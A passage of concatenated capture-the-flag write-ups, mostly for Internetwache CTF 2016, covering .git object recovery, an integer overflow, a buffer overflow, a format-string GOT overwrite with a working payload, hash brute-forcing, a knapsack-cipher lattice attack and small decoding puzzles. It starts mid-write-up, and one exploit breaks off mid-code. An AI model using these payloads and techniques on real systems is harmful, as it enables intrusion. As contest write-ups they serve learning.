Sebastian Gehaxelt <[email protected]> 1453427881 +0100 commit: My recent blogpost``` So we download objects, which exists in logs (remember that, first 2 char is dir)`https://0ldsk00lblog.ctf.internetwache.org/.git/objects/14/d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296``https://0ldsk00lblog.ctf.internetwache.org/.git/objects/db/a52097aba3af2b30ccbc589912ae67dcf5d77b``https://0ldsk00lblog.ctf.internetwache.org/.git/objects/26/858023dc18a164af9b9f847cbfb23919489ab2``https://0ldsk00lblog.ctf.internetwache.org/.git/objects/8c/46583a968da7955c13559693b3b8c5e5d5f510` We put all downloaded files locally, and execute command with result as described below:```$ git fsck --fullChecking object directories: 100% (256/256), done. broken link from tree 3be70be50c04bab8cd5d115da10c3a9c784d6bae to blob 5508adb31bf48ae5fe437bdeba60f83982356934 broken link from commit dba52097aba3af2b30ccbc589912ae67dcf5d77b to tree 95a5396e62ca5c9577f761ebe969f52d3b6a9235 broken link from tree 1949446afea12e0937044fdabe8cc101c87f7c54 to blob 7503402e4d48be951cddda34aae6e01905bb5c98 broken link from commit 8c46583a968da7955c13559693b3b8c5e5d5f510 to tree 33a5c0876603d7a6f9729637f36030bbabb2afa3 missing tree 33a5c0876603d7a6f9729637f36030bbabb2afa3 missing blob 7503402e4d48be951cddda34aae6e01905bb5c98 missing blob 5508adb31bf48ae5fe437bdeba60f83982356934 missing tree 95a5396e62ca5c9577f761ebe969f52d3b6a9235``` Just downloaded missing objects:`https://0ldsk00lblog.ctf.internetwache.org/.git/objects/3b/e70be50c04bab8cd5d115da10c3a9c784d6bae``https://0ldsk00lblog.ctf.internetwache.org/.git/objects/55/08adb31bf48ae5fe437bdeba60f83982356934``https://0ldsk00lblog.ctf.internetwache.org/.git/objects/95/a5396e62ca5c9577f761ebe969f52d3b6a9235``https://0ldsk00lblog.ctf.internetwache.org/.git/objects/19/49446afea12e0937044fdabe8cc101c87f7c54``https://0ldsk00lblog.ctf.internetwache.org/.git/objects/75/03402e4d48be951cddda34aae6e01905bb5c98``https://0ldsk00lblog.ctf.internetwache.org/.git/objects/33/a5c0876603d7a6f9729637f36030bbabb2afa3` Executed `git show`, but missing one more object```root@debian:/var/www/iw# git showfatal: unable to read 25a3f35784188ac1c9bf48a94e5a9c815bcb598ccommit 8c46583a968da7955c13559693b3b8c5e5d5f510Author: Sebastian Gehaxelt <[email protected]>Date: Fri Jan 22 02:58:01 2016 +0100 My recent blogpost``` Downloaded it:`https://0ldsk00lblog.ctf.internetwache.org/.git/objects/25/a3f35784188ac1c9bf48a94e5a9c815bcb598c` And finally `git show` give us a flag.```root@debian:/var/www/iw# git showcommit 8c46583a968da7955c13559693b3b8c5e5d5f510Author: Sebastian Gehaxelt <[email protected]>Date: Fri Jan 22 02:58:01 2016 +0100 My recent blogpost diff --git a/index.html b/index.htmlindex 5508adb..25a3f35 100644--- a/index.html+++ b/index.html@@ -3,9 +3,15 @@ <title>0ldsk00l</title> </head> <body>- <h2>2000</h2>++ <h1>Welcome to my 0ldsk00l blog.</h1>+ + Now this is some oldskool classic shit. Writing your blog manually without all this crappy bling-bling CSS / JS stuff.+ ++ <h2>2016</h2> - Oh, did I say that I like kittens? I like flags, too: IW{G1T_1S_4W3SOME}+ It's 2016 now and I need to somehow keep track of my changes to this document as it grows and grows. All people are talking about a tool called 'Git'. I think I might give this a try. + Now this is some oldskool classic shit. Writing your blog manually without all this crappy bling-bling CSS / JS stuff.+ - Oh, did I say that I like kittens? I like flags, too: IW{G1T_1S_4W3SOME}+ It's 2016 now and I need to somehow keep track of my changes to this document as it grows and grows. All people are talking about a tool called 'Git'. I think I might give this a try. <h2>1990-2015</h2> ```
# Exp60 ## Description```We are given an IP address and a port to connect to, upon connecting we are asked to solved the following equation: X > 1337 X * 7 + 4 = 1337``` ## Solution It is pretty obvious that we to do an integer overflow, after some manual testing I used the following dirty C code: ```#include <stdio.h>#include <stdlib.h> int main(int argc, char **argv) { int x = 610000000; int i = 0; for (i; i<100000000; i++) { if ((x+i)*7 + 4 == 1337) printf("%d", i); }}``` which gives us the answer: 613566947 ## Results```Solve the following equations:X > 1337X * 7 + 4 = 1337Enter the solution X: 613566947You entered: 613566947613566947 is bigger than 13371337 is equal to 1337Well done!IW{Y4Y_0verfl0w}```
# Exp70 ## Description```We are given an IP address and a port to connect to and the C code of the service running on the specified socket``` ## Solution From the C code and the way the variables are declared, combined with how the flag is read from the user input, we can deduce that we will have to overflow the buffer when supplying a flag in order to rewrite the memory containing the variable is_admin. We follow these steps: create an user register store a flag that will overflow the buffer enough to overwrite is_admin query the flag NB: I bruteforced the length of the buffer to supply by computing a ball park value from the C code (1300 A is enough) ## Results```root@bkthpc:~/Bureau/CTF/ctf# nc 188.166.133.53 12157Welcome to the FlagStore!Choose an action:> regiser: 1> login: 2> get_flag: 3> store_flag: 41Enter an username:aEnter a password:abcdefUser a successfully registered. You can login now!Choose an action:> regiser: 1> login: 2> get_flag: 3> store_flag: 42Username:aPassword:abcdefYou're now authenticated!Choose an action:> regiser: 1> login: 2> get_flag: 3> store_flag: 44Enter your flag:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFlag saved!Choose an action:> regiser: 1> login: 2> get_flag: 3> store_flag: 43Your flag: IW{Y_U_NO_HAZ_FLAG}```
## Brute with Force (PPC, 80p) Description: People say, you're good at brute forcing... Have fun! Hint: You don't need to crack the 31. character (newline). Try to think of different (common) time representations. Hint2: Time is CET ###ENG[PL](#pl-version) Server sends input as: Hint: Format is TIME:CHAR Char 0: Time is 22:02:54, 052th day of 2016 +- 30 seconds and the hash is: ae3c4c0487d14dd3314facdc2d4408a845da947f And our task is to find the right timestamp and the right character which will hash to given value. Each character we find is part of the flag.We had some problems with getting the right epoch value (timezones etc) so we hardcoded the current epoch and were looking from that point.The hash has 160 bits so we assume it's SHA-1.The solution is quite simple: we loop over possible timestamps and printable characters and we test if hashing them together will give the hash value we look for. Once we find the proper hash we send the response to the server and collect another hash for another character of the flag. ```pythonimport hashlibimport reimport socketimport string def brute_result(hashval): timestamp = 1455987261 i = 0 while True: for c in string.printable: brute = str(timestamp + i) + ":" + c h = hashlib.sha1(brute).digest().encode("hex") if hashval == h: return str(timestamp + i)+":"+c i += 1 print ":(" def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("188.166.133.53", 11117)) regex = "Char \d+: Time is (\d+):(\d+):(\d+), .* hash is: (.+)" chars = [] initial_data = str(s.recv(4096)) print(initial_data) try: while True: task = str(s.recv(4096)) print(task) m = re.match(regex, task) hour = m.group(1) minute = m.group(2) sec = m.group(3) hashval = m.group(4) print(hour, minute, sec, hashval) result = brute_result(hashval) print(result) s.sendall(result + "\n") chars.append(result.split(":")[1]) s.recv(4096) except: print "".join(chars) main()``` After some time we get: `IW{M4N_Y0U_C4N_B3_BF_M4T3RiAL!}` ###PL version Serwer przysyła dane w postaci: Hint: Format is TIME:CHAR Char 0: Time is 22:02:54, 052th day of 2016 +- 30 seconds and the hash is: ae3c4c0487d14dd3314facdc2d4408a845da947f A naszym zadaniem jest znaleźć właściwy timestamp oraz właściwy znak które razem hashują się do podanej wartości.Każdy znaleziony znak to fragment flagi.Mieliśmy pewne problemy z ustaleniem poprawnej wartości epoch (strefy czasowe etc) więc finalnie hardkodowaliśmy aktualną wartość epoch i szukaliśmy od tego punktu.Hash ma 160 bitów więc założyliśmy że to SHA-1.Rozwiązanie jest dość proste: pętlimy po wszystkich możliwych timestampach oraz znkach i sprawdzamy czy hashując je razem dostaniemy podany w zadaniu hash. Kiedy znajdziemy odpowiednie wartości wysyłamy odpowiedź do serwera i pobieramy kolejny hash dla kolejnego znaku flagi. ```pythonimport hashlibimport reimport socketimport string def brute_result(hashval): timestamp = 1455987261 i = 0 while True: for c in string.printable: brute = str(timestamp + i) + ":" + c h = hashlib.sha1(brute).digest().encode("hex") if hashval == h: return str(timestamp + i)+":"+c i += 1 print ":(" def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("188.166.133.53", 11117)) regex = "Char \d+: Time is (\d+):(\d+):(\d+), .* hash is: (.+)" chars = [] initial_data = str(s.recv(4096)) print(initial_data) try: while True: task = str(s.recv(4096)) print(task) m = re.match(regex, task) hour = m.group(1) minute = m.group(2) sec = m.group(3) hashval = m.group(4) print(hour, minute, sec, hashval) result = brute_result(hashval) print(result) s.sendall(result + "\n") chars.append(result.split(":")[1]) s.recv(4096) except: print "".join(chars) main()``` Po kilkunastu zadaniach dostajemy: `IW{M4N_Y0U_C4N_B3_BF_M4T3RiAL!}`
# IWCTF 2016 - Exploit - Remote Printer - 80 pts > Description: Printer are very very important for offices. Especially for remote printing. My boss told me to build a tool for that task.>> Attachment: [exp80.zip](exp80.zip)>> Service: 188.166.133.53:12377 # Write-up Connecting to the specified address, we get an interface to enter an address and a port for a "remote printer". So, let's start netcat in listening mode ```shellnc -lvvp 6666``` and pass this as the remote printer. We'll see the service connects to our local netcat session and waits for some input. After entering some gibberish, the service just prints our input and closes. Let's have a look at the disassembled code, that handles the communication: ```cfunction sub_8048786 { esp = (esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10; var_C = socket(0x2, 0x1, 0x0); if (var_C == 0xffffffff) { puts("No socket :("); } else { inet_addr(arg0); htons(); esp = (((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10; if (connect(var_C, 0x2, 0x10) < 0x0) { perror("No communication :(\n"); } else { esp = (esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10; if (recv(var_C, var_201C, 0x2000, 0x0) < 0x0) { puts("No data :("); } else { printf(var_201C); close(var_C); } } } return;}``` It just receives our input and prints it back via printf. But since it doesn't pass a format string, it seems to be a simple format string vulnerability. Quick test: ```shell$ nc -lvvp 6666listening on [any] 6666 ...connect to [127.0.0.1] from localhost [127.0.0.1] 44112AAAABBBB%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x sent 44, rcvd 0``` ```shell$ ./RemotePrinter This is a remote printer!Enter IPv4 address:127.0.0.1Enter port:6666Thank you, I'm trying to print 127.0.0.1:6666 now!AAAABBBBff8cd4fc.2000.0.0.0.0.41414141.42424242.252e7825.78252e78.2e78252e.252e7825``` Ok, our format string shows up in the 7th and 8th parameter. After printf the service calls `close`, so we can just overwrite close.plt. ```shell$ objdump -R RemotePrinter RemotePrinter: file format elf32-i386 DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE 08049c34 R_386_GLOB_DAT __gmon_start__08049c8c R_386_COPY stdout[SNIP]08049c74 R_386_JUMP_SLOT inet_addr08049c78 R_386_JUMP_SLOT connect08049c7c R_386_JUMP_SLOT recv08049c80 R_386_JUMP_SLOT close``` Nicely enough the RemotePrinter service also contains a method, spitting out the flag quite happily, if called. ```Cfunction sub_8048867 { var_C = fopen(0x80489de, 0x80489dc); fgets(var_3E, 0x32, var_C); fclose(var_C); eax = printf("YAY, FLAG: %s\n", var_3E); return eax;}``` So all we have to do is to overwrite close (0x08049c80) with this one (0x08048867). Starting the service in gdb and adjusting the format string led to the following exploit: ```python#!/usr/bin/pythonimport struct def p(x): return struct.pack("
## We lost the Fashion Flag! (Forensics, 100p) In Sharif CTF we have lots of task ready to use, so we stored their data about author or creation date and other related information in some files. But one of our staff used a method to store data efficiently and left the group some days ago. So if you want the flag for this task, you have to find it yourself! Download fashion.tar.gz ###ENG[PL](#pl-version) In this task we had a bunch of unknown files and one `fashion.model`. Looking at hexdump of it, we see string "FemtoZIP".It turns out it's name of a compression program. Downloading it and decompressing the files, we have a couple thousandof files with contents like:```{'category': 'reverse', 'author': 'staff_4', 'challenge': 'Fashion', 'flag': 'SharifCTF{b262389c6b7a6b5f112547d5394079db}', 'ctf': 'Shairf CTF', 'points': 300, 'year': 2014}```Every file had different flag. However, we could grep all the files for correct year, category etc. using command: `for f in `ls`; do cat $f | grep "'points': 100" | grep "'category': 'forensic'" | grep "'year': 2016"; done` This gives us only five results, first one of which is correct. ###PL version W tym zadaniu dostaliśmy sporo nieznanych plików i jeden `fashion.model`. Hexdump z niego zawiera tekst "FemtoZIP".Okazuje się, że to program do kompresji danych. Pobierając go i odpalając, otrzymujemy kilka tysięcy plików z zawartością w stylu:```{'category': 'reverse', 'author': 'staff_4', 'challenge': 'Fashion', 'flag': 'SharifCTF{b262389c6b7a6b5f112547d5394079db}', 'ctf': 'Shairf CTF', 'points': 300, 'year': 2014}```Każdy plik zawierał jednakże inną flagę. Ale od czego jest grep! Użyliśmy go do odfiltrowania zawartości ze śmieci: `for f in `ls`; do cat $f | grep "'points': 100" | grep "'category': 'forensic'" | grep "'year': 2016"; done` W tym momencie zostało już tylko pięć flag, jedna z których jest poprawna.
# Exp80 ## Description```We are given an IP address and a port to connect to and a binary file which is the binary run by the service``` ## DisclaimerThis is a very quick write-up and assume basic knowledge of the technique used in the exploitation. I also won't detail how the reversing was done ## Solution The file is an ELF 32-bit LSB executable. Upon reversing and playing with it we see that it asks to enter an IP address, then a port, opens a socket to the pair provided and print the data it received. The vulnerability lies in the call to printf following the recv call. Since the input is passed as an argument to printf as it is, it is vulnerable to a format string attack. Plenty of tutorials are available on google for those not familiar. Upon reversing we also encounter a function never called which opens a "flag.txt" file, reads its content and print it. The exploitation seems very straightforward from there, we will overwrite a GOT entry with the address of the code mentionned above. In the code handling the socket, following the printf call there is a call to the close method. I decided to overwrite this entry in the GOT. Address of the GOT to overwrite: 0x08049c80 Address of the code to overwrite the GOT: 0x8048867 On the attacking machine ```python -c 'print "\x80\x9c\x04\x08"+"%34915p"+"%7$hn"' | nc -lvp <your_port>``` On the targeted machine: ```This is a remote printer!Enter IPv4 address:<your_IP>Enter port:<your_port>``` ## Results```YAY, FLAG: IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}```
# ASIS Cyber Security Contest Quals 2014: Archaic **Category:** Crypto**Points:** 300**Description:** > [file](crypto_300_5e5d1adf0bb2ca58131ca28878a4b907) ## Write-up I started to 'crack' this challenge long after the CTF but luckily for us this challenge is completely offline. You get everything you need from the [given source file](crypto_300_5e5d1adf0bb2ca58131ca28878a4b907). When you open the source file (and after you unpack it) you'll see that you're given 3 files (I've also included these in the write-up): * [A python script](archaic.py) * [A public key](pubKey.txt) * [An encrypted message](enc.txt) So let's start by studying the python code. The most important thing here is not the encryption method but rather the method of how the encryption keys are made. ```pythondef makeKey(n): privKey = [random.randint(1, 4**n)] s = privKey[0] for i in range(1, n): privKey.append(random.randint(s + 1, 4**(n + i))) s += privKey[i] q = random.randint(privKey[n-1] + 1, 2*privKey[n-1]) r = random.randint(1, q) while gmpy2.gcd(r, q) != 1: r = random.randint(1, q) pubKey = [ r*w % q for w in privKey ] return privKey, q, r, pubKey``` If you analyze this you might notice this is a [Merkle-Hellman cryptosystem](http://en.wikipedia.org/wiki/Merkle%E2%80%93Hellman_knapsack_cryptosystem), this is also easy to find by googling a snippet of the code. The Merkle-Hellman cryptosystem is a very old cryptosystem and has already been broken. So all that's left for us to do, is to find the attack method and try that on our encrypted message. The attack method makes use of some complicated math but I'll try to explain the general idea. If you want to know the details I refer you to the [included paper](Merkle_Hellman_Attacks.pdf) or you can find plenty of other research and papers online. The basic idea is that you make a large matrix `A` of the following form: ```| I(nxn) O(nx1) || P(1xn) -C(1x1) |``` Where `I` represents an Identity matrix, `O` a matrix full of `0`, `P` is your public key and `C` is your encrypted message. The numbers between parentheses are the dimensions of the matrix with `n` representing the length of the public key. If you use the LLL lattice reduction algorithm on this matrix you should get short vectors spanned by this matrix. Among those short vectors is a possible solution to the encryption problem (if you encrypt that solution with the public key you would get the same encrypted message). To find that solution between all those vectors you need to look for a vector which consists of only `1's` and `0's`. Why `1's` and `0's`? Because that's how the encrypted message is created. It takes the binary bits of your text and multiplies them with the public key. This is effectively the same as multiplying a vector of `1's` and `0's` with the public key vector. Now we need to create that matrix I proposed and we need to create/use the LLL lattice reduction algorithm. Since the LLL algorithm is complicated and long I tried to find one for python unfortunately my search was unsuccessful. I did however find a program called [sage](http://www.sagemath.org/). This program comes with a lot of mathematical functions including the LLL algorithm. The beautiful part of it is you can import it in python as a library. I opted to use the cloud application of sage but normally the code should be the same. [The code I used in sage](sage.py) looks like: ```python# open the public key and strip the spaces so we have a decent arrayfileKey = open("pubKey.txt", 'rb')pubKey = fileKey.read().replace(' ', '').replace('L','').split(',')nbit = len(pubKey)# open the encoded messagefileEnc = open("enc.txt", 'rb')encoded = fileEnc.read().replace('L','')print "start"# create a large matrix of 0's (dimensions are public key length +1)A = Matrix(ZZ,nbit+1,nbit+1)# fill in the identity matrixfor i in xrange(nbit): A[i,i] = 1# replace the bottom row with your public keyfor i in xrange(nbit): A[i,nbit] = pubKey[i]# last element is the encoded messageA[nbit,nbit] = -int(encoded) res = A.LLL()resfil = open("res.txt", 'wb')resfil.write(res.str()) # print solutionM = res.row(295).list()print M``` Then you need to search the correct vector in the created text file. It is important to note that the last number (`0` or `1`) is not part of the message and should be dropped. [Encode the binary to ascii and you get the flag](binasc.py). The flag is `ASIS_9bd3d5fd2422682c19568806a07061ce`. ## Other write-ups and resources * none yet
# IWCTF 2016 - Misc - 404 Flag not found - 80 pts > Description: I tried to download the flag, but somehow received only 404 errors :( Hint: The last step is to look for flag pattern.>> Attachment: [misc80.zip](misc80.zip) # Write-up The attachment contained a traffic capture with multiple DNS requests to the ctf site (with changing hexadecimal prefixes). Obviously there's some information hidden in the dns queries. I used `chaosreader` to extract the requests and then wrote a script to extract the hex-strings and convert them into ascii. ```python#!/usr/bin/pythonimport osimport reimport binascii for fn in os.listdir('read'): with open(fn) as f: for line in f: if line.startswith("Host: "): print fn match = re.search('Host: (.*).2015.ctf.internetwache.org', line, re.S) s = str(match.group(1)) print s.decode('hex')``` Executing it made the requests more readable: ```session_0002.http.htmlIn the end, it's all about flasession_0004.http.htmlgs.Whether you win or lose dosession_0006.http.htmlesn't matter.{Ofc, winning issession_0008.http.html coolerDid you find other flasession_0010.http.htmlgs?Noboby finds other flags!session_0012.http.htmlSuperman is my hero._HERO!!!_session_0014.http.htmlHelp me my friend, I'm lost isession_0016.http.htmln my own mind.Always, always,session_0018.http.html for ever alone.Crying until session_0020.http.htmlI'm dying.Kings never die.Sosession_0022.http.html do I.}! ``` After stripping the filenames and formatting the text a little bit, we'll get: ```In the end, it's all about flags.Whether you win or lose doesn't matter.{Ofc, winning is coolerDid you find other flags?Noboby finds other flags!Superman is my hero._HERO!!!_Help me my friend, I'm lost in my own mind.Always, always, for ever alone.Crying until I'm dying.Kings never die. So do I.}!``` Taking only the first characters of each line reveals the flag: `IW{DNS_HACK}`
# IWCTF 2016 - Reversing - SPIM - 50 pts > Description: My friend keeps telling me, that real hackers speak assembly fluently. Are you a real hacker? Decode this string: "IVyN5U3X)ZUMYCs">>Attachment: [rev50.zip](rev50.zip) # Write-up The attachment contains a MIPS disassembly of the decoding algorithm: ```shell$ cat README.txt User Text Segment [00400000]..[00440000][00400000] 8fa40000 lw $4, 0($29) ; 183: lw $a0 0($sp) # argc [00400004] 27a50004 addiu $5, $29, 4 ; 184: addiu $a1 $sp 4 # argv [00400008] 24a60004 addiu $6, $5, 4 ; 185: addiu $a2 $a1 4 # envp [0040000c] 00041080 sll $2, $4, 2 ; 186: sll $v0 $a0 2 [00400010] 00c23021 addu $6, $6, $2 ; 187: addu $a2 $a2 $v0 [00400014] 0c100009 jal 0x00400024 [main] ; 188: jal main [00400018] 00000000 nop ; 189: nop [0040001c] 3402000a ori $2, $0, 10 ; 191: li $v0 10 [00400020] 0000000c syscall ; 192: syscall # syscall 10 (exit) [00400024] 3c081001 lui $8, 4097 [flag] ; 7: la $t0, flag [00400028] 00004821 addu $9, $0, $0 ; 8: move $t1, $0 [0040002c] 3401000f ori $1, $0, 15 ; 11: sgt $t2, $t1, 15 [00400030] 0029502a slt $10, $1, $9 [00400034] 34010001 ori $1, $0, 1 ; 12: beq $t2, 1, exit [00400038] 102a0007 beq $1, $10, 28 [exit-0x00400038] [0040003c] 01095020 add $10, $8, $9 ; 14: add $t2, $t0, $t1 [00400040] 81440000 lb $4, 0($10) ; 15: lb $a0, ($t2) [00400044] 00892026 xor $4, $4, $9 ; 16: xor $a0, $a0, $t1 [00400048] a1440000 sb $4, 0($10) ; 17: sb $a0, 0($t2) [0040004c] 21290001 addi $9, $9, 1 ; 19: add $t1, $t1, 1 [00400050] 0810000b j 0x0040002c [for] ; 20: j for [00400054] 00082021 addu $4, $0, $8 ; 24: move $a0, $t0 [00400058] 0c100019 jal 0x00400064 [printstring]; 25: jal printstring [0040005c] 3402000a ori $2, $0, 10 ; 26: li $v0, 10 [00400060] 0000000c syscall ; 27: syscall [00400064] 34020004 ori $2, $0, 4 ; 30: li $v0, 4 [00400068] 0000000c syscall ; 31: syscall [0040006c] 03e00008 jr $31 ; 32: jr $ra ``` The decoding part starts at 0x00400024, so let's check what it does: ```[00400024] 3c081001 lui $8, 4097 [flag] ; 7: la $t0, flag (t0 <= flag)[00400028] 00004821 addu $9, $0, $0 ; 8: move $t1, $0 (t1 = 0)[0040002c] 3401000f ori $1, $0, 15 ; 11: sgt $t2, $t1, 15 (t2 = t1 | 15)[00400030] 0029502a slt $10, $1, $9 [00400034] 34010001 ori $1, $0, 1 ; 12: beq $t2, 1, exit [00400038] 102a0007 beq $1, $10, 28 [exit-0x00400038] [0040003c] 01095020 add $10, $8, $9 ; 14: add $t2, $t0, $t1 (t2 = t0 + t1)[00400040] 81440000 lb $4, 0($10) ; 15: lb $a0, ($t2) (a0 = [t2])[00400044] 00892026 xor $4, $4, $9 ; 16: xor $a0, $a0, $t1 (a0 = a0 ^ t1)[00400048] a1440000 sb $4, 0($10) ; 17: sb $a0, 0($t2) (t2 = a0)[0040004c] 21290001 addi $9, $9, 1 ; 19: add $t1, $t1, 1 (t1 = t1 + 1)[00400050] 0810000b j 0x0040002c [for] ; 20: j for ``` `t1` is a counter variable, and the encoding stops when it reaches 15. `t2` is a pointer to the current char in the loop, and the char at that position get's xored with the current index. This boils down to a simple xor encryption: ```python#!/usr/bin/pythonimport sys encoded = "IVyN5U3X)ZUMYCs" for i in range(0,len(encoded)): sys.stdout.write(str(chr(ord(encoded[i])^i)))``` This should do the decoding for us: ```shell$ python dec.py IW{M1P5_!S_FUN}```
## A numbers game II (PPC/Crypto, 70p) Description: Math is used in cryptography, but someone got this wrong. Can you still solve the equations? Hint: You need to encode your answers. ###ENG[PL](#pl-version) Server sends input as: Hi, I like math and cryptography. Can you talk to me?! Level 1.: 4.4.5.3.3.3.3.3.3.3.6.4.3.3.3.3.3.4.3.4.3.4.3.3.3.3.3.3.3.4.6.4.3.3.3.3.3.3.6.4.3.4.4.5 And we are also given the encryption code: ```python def encode(self, eq): out = [] for c in eq: q = bin(self._xor(ord(c),(2<<4))).lstrip("0b") q = "0" * ((2<<2)-len(q)) + q out.append(q) b = ''.join(out) pr = [] for x in range(0,len(b),2): c = chr(int(b[x:x+2],2)+51) pr.append(c) s = '.'.join(pr) return s``` The goal is to decrypt the task, solve it and then send encrypted answer.First we split the encryption into two functions (one loop in each) and then wrote decryption for each one of them.We replaced constants like (2<<4) for their numeric values for readibility. First part of the encryption function takes each character of the input, xors it with static key 32, converts this to binary and add 0 padding so that this binary representation has always 8 digits. Therefore for the decryption we can simply slice the input to get 8-digit long binary strings, then we treat each one of them as integers in base-2 (this gets rid of 0 padding) and xor with static key 32 (since `a xor b xor b = a`). ```pythondef encode1(eq): out = [] for c in eq: q = bin((ord(c) ^ 32)).lstrip("0b") q = "0" * (8 - len(q)) + q out.append(q) b = ''.join(out) return b def decode1(b): result = [] for i in range(0, len(b), 8): q = b[i:i + 8] q = chr(int(q, 2) ^ 32) result.append(q) return "".join(result)``` Second part of encryption takes the binary string we got from the first part, then slices it into 2-digit parts, treats each one as integer in baes-2, adds 51 and casts this to char. Then all chars are concatenated with dot as separator. Therefore the decryption of this part splits the input by dot to get characters, then casts the char to integer and subtracts 51, converts the result to 2-digit long binary number and then joins all those numbers into a single string. ```pythondef encode2(b): pr = [] for x in range(0, len(b), 2): c = chr(int(b[x:x + 2], 2) + 51) pr.append(c) s = '.'.join(pr) return s def decode2(task): return "".join("{0:02b}".format((ord(c) - 51)) for c in task.split("."))``` With this we can now decode the input, which turns out to be exactly the same as for previous task `A numbers game`, so we use the same procedure to solve the tasks, and we use the provided `encrypt()` function to send responses. Complete code is in [here](decrypter.py) After 100 tasks we get the flag: `IW{Crypt0_c0d3}` ###PL version Serwer przysyła dane w formacie: Hi, I like math and cryptography. Can you talk to me?! Level 1.: 4.4.5.3.3.3.3.3.3.3.6.4.3.3.3.3.3.4.3.4.3.4.3.3.3.3.3.3.3.4.6.4.3.3.3.3.3.3.6.4.3.4.4.5 Dostajemy też kod procedury szyfrującej: ```python def encode(self, eq): out = [] for c in eq: q = bin(self._xor(ord(c),(2<<4))).lstrip("0b") q = "0" * ((2<<2)-len(q)) + q out.append(q) b = ''.join(out) pr = [] for x in range(0,len(b),2): c = chr(int(b[x:x+2],2)+51) pr.append(c) s = '.'.join(pr) return s``` Zadanie polega na zdekodowaniu wejścia, rozwiązaniu problemu a następnie wysłaniu zakodowanej odpowiedzi.Na początku podzieliliśmy funkcje szyfrującą na kawalki (jedna pętla w kawałku) a następnie napisaliśmy kod odwracajacy te funkcje.Podmieniliśmy stałe jak (2<<4) na ich wartość numeryczną dla poprawnienia czytelności. Pierwsza część szyfrowania bierze każdy znak z wejścia, xoruje go ze statycznym kluczem 32, zamienia uzyskaną liczbę na binarną i dodaje padding 0 tak żeby liczba zawsze miała 8 cyfr. W związu z tym deszyfrowanie polega na podzieleniu wejścia na 8-cyfrowe ciągi binarne, potraktowanie każdego jako integer o podstawie 2 (to automatycznie załatwia sprawę paddingu) i xorowaniu tej liczby z 32 (ponieważ `a xor b xor b = a`). ```pythondef encode1(eq): out = [] for c in eq: q = bin((ord(c) ^ 32)).lstrip("0b") q = "0" * (8 - len(q)) + q out.append(q) b = ''.join(out) return b def decode1(b): result = [] for i in range(0, len(b), 8): q = b[i:i + 8] q = chr(int(q, 2) ^ 32) result.append(q) return "".join(result)``` Druga część szyfrowania bierze binarny ciąg uzyskany w części pierwszej, dzieli go na 2-cyfrowe fragmenty, traktuje każdy jako integer o podstawie 2, dodaje 51 i rzutuje to na char. Następnie wszystkie chary są sklejane z kropką jako separatorem. W związku z tym deszyfrowanie tej części polega na podzieleniu wejścia po kropkach aby uzyskać chary, następnie rzutowanie tych charów na integery, odjęciu od nich 51, zamiany wyniku na 2-cyfrową liczbę binarną a następnie sklejenie tych liczb w jeden ciąg. ```pythondef encode2(b): pr = [] for x in range(0, len(b), 2): c = chr(int(b[x:x + 2], 2) + 51) pr.append(c) s = '.'.join(pr) return s def decode2(task): return "".join("{0:02b}".format((ord(c) - 51)) for c in task.split("."))``` Dzięki temu możemy teraz odkodować wejście, które okazuje się mieć taki sam format jak w zadaniu `A numbers game`, więc wykorzystujemy identyczny kod do rozwiązania problemu a wynik przesyłamy szyfrując go daną metodą `encrypt()`. Cały kod rozwiązania znajduje się [tutaj](decrypter.py). Po 100 zadaniach dostajemy flagę: `IW{Crypt0_c0d3}`
